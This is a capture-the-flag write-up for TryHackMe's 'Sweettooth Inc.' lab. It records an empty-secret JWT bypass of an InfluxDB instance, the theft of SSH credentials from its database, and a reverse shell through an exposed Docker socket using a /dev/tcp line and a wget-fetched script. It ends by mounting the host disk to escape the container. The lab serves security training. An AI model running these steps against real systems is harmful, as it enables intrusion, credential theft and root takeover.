Sweettooth Inc. Writeup

Link: https://tryhackme.com/room/sweettoothinc

Nmap results

** Database name leaked: InfluxDB http admin 1.3.0

```
Nmap scan report for 10.10.36.95
Host is up, received timestamp-reply ttl 60 (0.14s latency).
Scanned at 2021-07-25 11:54:20 EDT for 25s

PORT      STATE SERVICE REASON         VERSION
111/tcp   open  rpcbind syn-ack ttl 60 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind

|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          36822/udp   status
|   100024  1          43135/tcp   status
|   100024  1          43335/tcp6  status
|_  100024  1          43793/udp6  status
2222/tcp  open  ssh     syn-ack ttl 59 OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey:
|   1024 b0:ce:c9:21:65:89:94:52:76:48:ce:d8:c8:fc:d4:ec (DSA)
| ssh-dss
```

```
AAAAB3NzaC1kc3MAAACBALOlP9Bx9VQxs4JDY8vovlJp+l+pPX2MGttzN2gGNYABXAVSF9CA14OituA5tcJd5/Nv3Ru3Xyu8Yo5SV0d82rd7L/NF5Relx+iiVF+bigo329wbV3wsIrRQGUYHXi

|   2048 7e:86:88:fe:42:4e:94:48:0a:aa:da:ab:34:61:3c:6e (RSA)
| ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQCbBmLBPg9mxkAdEbJGnz0v6Jzo4qdBcajkaIBKewKyz6OQTvyhVcDReSB2Dz0nl4mPCs3UN58hSNStCYXjZcpIBpqz2pHupVlqQ7u41Vo2W8u0nVFLt2

|   256 04:1c:82:f6:a6:74:53:c9:c4:6f:25:37:4c:bf:8b:a8 (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHufHfqIZHVEKYC/yyNS+vTt35iULiIWoFNSQP/Bm/v90QzZjsYU9MSt7xdlR/2LZp9VWk32nl5JL65tvCMImxc=
|   256 49:4b:dc:e6:04:07:b6:d5:ab:c0:b0:a3:42:8e:87:b5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJEYHtE8GbpGSlNB+/3IWfYRFrkJB+N9SmKs3Uh14pPj
8086/tcp  open  http    syn-ack ttl 59 InfluxDB http admin 1.3.0
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
43135/tcp open  status  syn-ack ttl 60 1 (RPC #100024)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), Linux 5.4 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux
3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Android 7.1.1 - 7.1.2 (92%), Linux 3.13 - 4.4 (92%), Linux 3.2 - 3.16 (92%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:

SCAN(V=7.91%E=4%D=7/25%OT=111%CT=%CU=35296%PV=Y%DS=5%DC=T%G=N%TM=60FD8945%P=x86_64-pc-linux-gnu)
SEQ(SP=F7%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=8)
OPS(O1=M506ST11NW6%O2=M506ST11NW6%O3=M506NNT11NW6%O4=M506ST11NW6%O5=M506ST11NW6%O6=M506ST11)
WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)
ECN(R=Y%DF=Y%T=40%W=6903%O=M506NNSNW6%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
```

```
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 0.008 days (since Sun Jul 25 11:42:32 2021)
Network Distance: 5 hops
TCP Sequence Prediction: Difficulty=246 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 43135/tcp)
HOP RTT       ADDRESS
1   24.44 ms  10.17.0.1
2   ... 4
5   146.86 ms 10.10.36.95

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:54

Completed NSE at 11:54, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:54
Completed NSE at 11:54, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:54
Completed NSE at 11:54, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.29 seconds
```

```
           Raw packets sent: 70 (4.692KB) | Rcvd: 43 (3.188KB)
```

Gobuster Scan Results:

```
gobuster dir -u http://10.10.36.95:8086/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.36.95:8086/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/07/25 11:59:46 Starting gobuster in directory enumeration mode
===============================================================
/status               (Status: 204) [Size: 0]
/query                (Status: 401) [Size: 55]
/write                (Status: 405) [Size: 19]
/ping                 (Status: 204) [Size: 0]

===============================================================
2021/07/25 12:26:40 Finished
===============================================================
```

** /query/ directory is redirecting to http authentication page and ask for credentials

** /write directory requires POST only for authentication

*Found Nothing, then after a long time seaching about this database, i found a 0-day misconfiguration which directly reveals the username of the database

Blog:- https://www.komodosec.com/post/when-all-else-fails-find-a-0-day*
Documentation:- https://docs.influxdata.com/influxdb/v1.8/tools/api/?t=Auth+Enabled#influxdb-1-x-http-endpoints

So, using the curl command

```
# curl -s http://10.10.10.143:8086/debug/requests | jq
{
  "o5yY6yya:127.0.0.1": {
    "writes": 2,
    "queries": 2
  }
}
```

INITIAL FOOTHOLD

username: o5yY6yya

Now, we have to create a JWT token (empty secret) with this username so that we can authenticate to the database

Using Burp, I send the request on /query with my custom JWT token

REQUEST

```
GET /query HTTP/1.1
Host: 10.10.10.143:8086
```

```
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNzE5MjM5MDIyfQ.zgsBw0_6ii_62ga7zqfP0Hy7FXKxoSPwIxY2wMXMppg
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

RESPONSE

```
HTTP/1.1 400 Bad Request
Content-Type: application/json
Request-Id: a0562493-f860-11eb-8af4-000000000000
X-Influxdb-Version: 1.3.0
Date: Sun, 08 Aug 2021 15:52:25 GMT
Content-Length: 45
Connection: close

{"error":"missing required parameter \"q\""}
```

After reading the documentation, "q" parameter is for giving commands

Now using curl command, I can fetch the whole database

```
─# curl -s http://10.10.10.143:8086/query -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNzE5MjM5MDIyfQ.zgsBw0_6ii_62ga7zqfP0Hy7FXKxoSPwIxY2wMXMppg" -d
"q==" | jq
{
  "error": "error parsing query: found =, expected SELECT, DELETE, SHOW, CREATE, DROP, GRANT, REVOKE, ALTER, SET, KILL at line 1, char 1"
}
```

Syntaz simillar to MySQL

1. SHOW DATABASES:

```
└─# curl -s http://10.10.10.143:8086/query -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNzE5MjM5MDIyfQ.zgsBw0_6ii_62ga7zqfP0Hy7FXKxoSPwIxY2wMXMppg" -d
"q=show databases" | jq
{
  "results": [
    {
      "statement_id": 0,
      "series": [
        {
          "name": "databases",
          "columns": [
            "name"
          ],
          "values": [
            [
              "creds"
            ],
            [
              "docker"
            ],
            [
              "tanks"
            ],
              [
                "mixer"
              ],
              [
                "_internal"
              ]
            ]
          }
        ]
      }
    ]
}
```

When trying to use the MySQL syntax

```
┌──(root💀kali)-[~]
└─# curl -s 'http://10.10.238.157:8086/query?db=tanks' -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNzE5MjM5MDIyfQ.zgsBw0_6ii_62ga7zqfP0Hy7FXKxoSPwIxY2wMXMppg" -d
'q=show tables' | jq
{
  "error": "error parsing query: found tables, expected CONTINUOUS, DATABASES, DIAGNOSTICS, FIELD, GRANTS, MEASUREMENTS, QUERIES, RETENTION,
SERIES, SHARD, SHARDS, STATS, SUBSCRIPTIONS, TAG, USERS at line 1, char 6"
}
```

Only these commands can be used

2. FETCHING ITEMS FROM "TANKS" DATABASE:

```
┌──(root💀kali)-[~]
└─# curl -s 'http://10.10.238.157:8086/query?db=tanks' -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNzE5MjM5MDIyfQ.zgsBw0_6ii_62ga7zqfP0Hy7FXKxoSPwIxY2wMXMppg" -d
'q=show measurements' | jq
{
  "results": [
    {
      "statement_id": 0,
      "series": [
        {
          "name": "measurements",
          "columns": [
            "name"
          ],
          "values": [
            [
              "fruitjuice_tank"
            ],
            [
              "gelatin_tank"
            ],
            [
              "sugar_tank"
            ],
            [
              "water_tank"
            ]
          ]
        }
      ]
    }
  ]
}
```

3. FETCHING THE "WATER_TANK" DETAILS:

```
┌──(root💀kali)-[~]
└─# curl -s 'http://10.10.238.157:8086/query?db=tanks' -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNzE5MjM5MDIyfQ.zgsBw0_6ii_62ga7zqfP0Hy7FXKxoSPwIxY2wMXMppg" -d
"q=select * from water_tank where time = '2021-05-18T14:00:00Z'" | jq
{
  "results": [
    {
      "statement_id": 0,
      "series": [
        {
          "name": "water_tank",
          "columns": [
            "time",
            "filling_height",
            "temperature"
          ],
          "values": [
            [
              "2021-05-18T14:00:00Z",
              93.14,
              REDACTED
            ]
          ]
        }
      ]
    }
  ]
}
```

4. NOW FETCHING THE DATA FROM "MIXER" DATABASE:

```
┌──(root💀kali)-[~]
└─# curl -s 'http://10.10.238.157:8086/query?db=mixer' -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNzE5MjM5MDIyfQ.zgsBw0_6ii_62ga7zqfP0Hy7FXKxoSPwIxY2wMXMppg" -d
'q=show measurements' | jq
{
  "results": [
    {
      "statement_id": 0,
      "series": [
        {
          "name": "measurements",
          "columns": [
            "name"
          ],
          "values": [
            [
              "mixer_stats"
            ]
          ]
        }
      ]
    }
  ]
}
```

FETCHING MORE INFO

```
┌──(root💀kali)-[~]
└─# curl -s 'http://10.10.186.93:8086/query?db=mixer' -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNzE5MjM5MDIyfQ.zgsBw0_6ii_62ga7zqfP0Hy7FXKxoSPwIxY2wMXMppg" -d
'q=select * from "mixer_stats"' | jq
{
  "results": [
    {
      "statement_id": 0,
      "series": [
        {
          "name": "mixer_stats",
          "columns": [
            "time",
            "filling_height",
            "motor_rpm",
            "temperature"
          ],
          "values": [
```

Now we know the column name
By using the MAX() funtion, we can fetch the maximum value of the "moto_rpm"

```
┌──(root💀kali)-[~]
└─# curl -s http://10.10.186.93:8086/query?db=mixer -H "Authorization: Bearer
```

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNzE5MjM5MDIyfQ.zgsBw0_6ii_62ga7zqfP0Hy7FXKxoSPwIxY2wMXMppg" -d
'q=select max(motor_rpm) from mixer_stats' | jq
{
  "results": [
    {
      "statement_id": 0,
      "series": [
        {
          "name": "mixer_stats",
          "columns": [
            "time",
            "max"
          ],
          "values": [
            [
              "2021-05-20T15:00:00Z",
              REDACTED
            ]
          ]
        }
      ]
    }
  ]
}
```

After searching different databases, I found a "creds" databases

```
└─# curl -s http://10.10.186.93:8086/query?db=creds -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNzE5MjM5MDIyfQ.zgsBw0_6ii_62ga7zqfP0Hy7FXKxoSPwIxY2wMXMppg" -d
'q=show measurements' | jq
```

```
{
  "results": [
    {
      "statement_id": 0,
      "series": [
        {
          "name": "measurements",
          "columns": [
            "name"
          ],
          "values": [
            [
              "ssh"
            ]
          ]
        }
      ]
    }
  ]
}
```

1. FETCHING THE "SSH" COLUMN DATA

```
┌──(root💀kali)-[~]
└─# curl -s http://10.10.186.93:8086/query?db=creds -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNzE5MjM5MDIyfQ.zgsBw0_6ii_62ga7zqfP0Hy7FXKxoSPwIxY2wMXMppg" -d
'q=select * from ssh' | jq
{
  "results": [
    {
      "statement_id": 0,
      "series": [
        {
          "name": "ssh",
          "columns": [
            "time",
            "pw",
            "user"
          ],
          "values": [
            [
              "2021-05-16T12:00:00Z",
              REDACTED,
              "uzJk6Ry98d8C"
            ]
          ]
        }
      ]
    }
  ]
}
```

username=uzJk6Ry98d8C

LOGIN INTO THE REMOTE SERVER USING SSH

```
─# ssh uzJk6Ry98d8C@10.10.186.93 -p 2222
uzJk6Ry98d8C@10.10.186.93's password:

The programs included with the Debian GNU/Linux system are free software;
```

```
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
uzJk6Ry98d8C@aa248dabd4d1:~$
```

PRIVESC ESCALATION:

I found a file named "meta.db, lets copy this file to our system using scp

```
uzJk6Ry98d8C@aa248dabd4d1:~$ ls -la
total 24
drwxr-xr-x 4 uzJk6Ry98d8C uzJk6Ry98d8C 4096 Aug 15 10:49 .
drwxr-xr-x 7 root         root         4096 Aug 15 10:46 ..
lrwxrwxrwx 1 uzJk6Ry98d8C uzJk6Ry98d8C    9 May 18 14:50 .bash_history -> /dev/null
drwxr-xr-x 7 uzJk6Ry98d8C uzJk6Ry98d8C 4096 Aug 15 10:49 data
-rw-r--r-- 1 uzJk6Ry98d8C uzJk6Ry98d8C  527 Aug 15 10:49 meta.db
-rw-r--r-- 1 uzJk6Ry98d8C uzJk6Ry98d8C   22 May 18 14:50 user.txt
drwx------ 7 uzJk6Ry98d8C uzJk6Ry98d8C 4096 Aug 15 10:49 wal
uzJk6Ry98d8C@aa248dabd4d1:~$
```

```
┌──(root💀kali)-[~]
└─# scp -P 2222 uzJk6Ry98d8C@10.10.186.93:/home/uzJk6Ry98d8C/meta.db /root/TryHackme/Sweettooth\ Inc./
uzJk6Ry98d8C@10.10.186.93's password:
meta.db                                                                                                                    100%  527
3.5KB/s   00:00
```

After enmerating the machine, i found a file "initializeandquery.sh", the last lines of this script looks something interesting

```
socat TCP-LISTEN:8080,reuseaddr,fork UNIX-CLIENT:/var/run/docker.sock &

# query each 5 seconds and write docker statistics to database
while true; do
  curl -o /dev/null -G http://localhost:8086/query?pretty=true --data-urlencode "q=show databases" --data-urlencode "u=o5yY6yya" --data-
urlencode "p=mJjeQ44e2unu"
  sleep 5
  response="$(curl localhost:8080/containers/json)"
  containername=`(jq '.[0].Names' <<< "$response") | jq .[0] | grep -Eo "[a-zA-Z]+"`
  status=`jq '.[0].State' <<< "$response"`
  influx -username o5yY6yya -password REDACTED -execute "insert into docker.autogen stats containername=\"$containername\",stats=\"$status\""
done
```

So as we know that root is running on port 8080, I forward the port 8080 to localhost to my local machine

```
└─# ssh uzJk6Ry98d8C@10.10.186.93 -p 2222 -L 8080:localhost:8080
uzJk6Ry98d8C@10.10.186.93's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 15 11:37:33 2021 from ip-10-17-12-44.eu-west-1.compute.internal
uzJk6Ry98d8C@aa248dabd4d1:~$
```

Now, if we look closely the part of the script above "localhost:8080/containers/json" is the location given
Let's navigate to this directory

```
—# curl -s http://localhost:8080/containers/json | jq
[
  {
    "Id": "aa248dabd4d135aca9f961875bb4591dd0b0496906ec32150138e146b0a24808",
    "Names": [
      "/sweettoothinc"
    ],
    "Image": "sweettoothinc:latest",
    "ImageID": "sha256:26a697c0d00f06d8ab5cd16669d0b4898f6ad2c19c73c8f5e27231596f5bec5e",
    "Command": "/bin/bash -c 'chmod a+rw /var/run/docker.sock && service ssh start & /bin/su uzJk6Ry98d8C -c '/initializeandquery.sh &
/entrypoint.sh influxd''",
    "Created": 1629024385,
    "Ports": [
      {
        "IP": "0.0.0.0",
        "PrivatePort": 22,
        "PublicPort": 2222,
        "Type": "tcp"
      },
      {
        "IP": "0.0.0.0",
        "PrivatePort": 8086,
        "PublicPort": 8086,
        "Type": "tcp"
      }
    ],
    "Labels": {},
    "State": "running",
    "Status": "Up About an hour",
    "HostConfig": {
      "NetworkMode": "default"
    },
    "NetworkSettings": {
      "Networks": {
        "bridge": {
          "IPAMConfig": null,
          "Links": null,
          "Aliases": null,
          "NetworkID": "7c884266d90c114256579274285f71de7d50989dfa6dfee46d629e6215522290",
          "EndpointID": "70e0a9c7c0bd63d006c13b2bb9c21f5da060d059201cc5837352dcdd0fac296f",
          "Gateway": "172.17.0.1",
          "IPAddress": "172.17.0.2",
          "IPPrefixLen": 16,
          "IPv6Gateway": "",
          "GlobalIPv6Address": "",
          "GlobalIPv6PrefixLen": 0,
          "MacAddress": "02:42:ac:11:00:02",
          "DriverOpts": null
        }
      }
    },
    "Mounts": [
      {
        "Type": "volume",
        "Name": "8cd3385bdc277d01718b7b3d518dfcd102d0f5b2fbba3ab43fa1cf38d3de4e6d",
        "Source": "",
        "Destination": "/var/lib/influxdb",
        "Driver": "local",
        "Mode": "",
        "RW": true,
        "Propagation": ""
      },
      {
        "Type": "bind",
        "Source": "/var/run/docker.sock",
        "Destination": "/var/run/docker.sock",
        "Mode": "",
        "RW": true,
        "Propagation": "rprivate"
      }
    ]
  }
]
```

This is look like a docker container configuration
Try to get a shell using docker

```
┌──(root💀kali)-[~/TryHackme/Sweettooth Inc.]
└─# docker -H localhost:8080 container ls
CONTAINER ID   IMAGE                 COMMAND                  CREATED             STATUS              PORTS
NAMES
aa248dabd4d1   sweettoothinc:latest   "/bin/bash -c 'chmod…"   About an hour ago   Up About an hour   0.0.0.0:8086->8086/tcp, 0.0.0.0:2222-
>22/tcp   sweettoothinc
```

```
└─# docker -H localhost:8080 container exec sweettoothinc ls
bin
```

```
boot
dev
entrypoint.sh
etc
home
initializeandquery.sh
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

Lets try to get an reverse shell

```
# docker -H localhost:8080 container exec sweettoothinc bash -i >& /dev/tcp/10.17.12.44/443 0>&1



# nc -nvlp 443
listening on [any] 443 ...
connect to [10.17.12.44] from (UNKNOWN) [10.17.12.44] 37880
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
```

```
bash: no job control in this shell
root@aa248dabd4d1:/# exit
```

My shell keeps dying. I have to find an another way

First I make a reverse shell then hosting a python server, copy the reverse shell to the machine using wget then execute the command

```
└─# docker -H localhost:8080 container exec sweettoothinc wget 10.17.12.44/rev.sh
converted 'http://10.17.12.44/rev.sh' (ANSI_X3.4-1968) -> 'http://10.17.12.44/rev.sh' (UTF-8)
--2021-08-15 12:11:20--  http://10.17.12.44/rev.sh
Connecting to 10.17.12.44:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 71 [text/x-sh]
Saving to: 'rev.sh'

     0K                                                       100% 13.9M=0s

2021-08-15 12:11:21 (13.9 MB/s) - 'rev.sh' saved [71/71]

┌──(root💀kali)-[~/TryHackme/Sweettooth Inc.]
└─# docker -H localhost:8080 container exec sweettoothinc bash rev.sh




└─# nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.17.12.44] from (UNKNOWN) [10.10.186.93] 46355
bash: cannot set terminal process group (23799): Inappropriate ioctl for device
bash: no job control in this shell
```

```
root@aa248dabd4d1:/#
```

GOT THE ROOT SHELL

As we know that this is a docker container, there must be some mountable disk lying around in the machine

Checking the disks

```
root@aa248dabd4d1:/root# fdisk -l
fdisk -l

Disk /dev/xvda: 16 GiB, 17179869184 bytes, 33554432 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xa8257195

Device     Boot    Start      End  Sectors  Size Id Type
/dev/xvda1 *        2048 32088063 32086016 15.3G 83 Linux
/dev/xvda2      32090110 33552383  1462274  714M  5 Extended
/dev/xvda5      32090112 33552383  1462272  714M 82 Linux swap / Solaris

Disk /dev/xvdh: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
```

This /dev/xvda1 maybe the linux drive which we want, lets mount this drive in this docker container

```
root@aa248dabd4d1:/# mkdir /mnt/linux
mkdir /mnt/linux
root@aa248dabd4d1:/# mount /dev/xvda1 /mnt/linux
mount /dev/xvda1 /mnt/linux
root@aa248dabd4d1:/# cd /mnt/linux
cd /mnt/linux
root@aa248dabd4d1:/mnt/linux# ls
ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

```
vmlinuz
vmlinuz.old
root@aa248dabd4d1:/mnt/linux#
```

- GOT THE ROOT FLAG*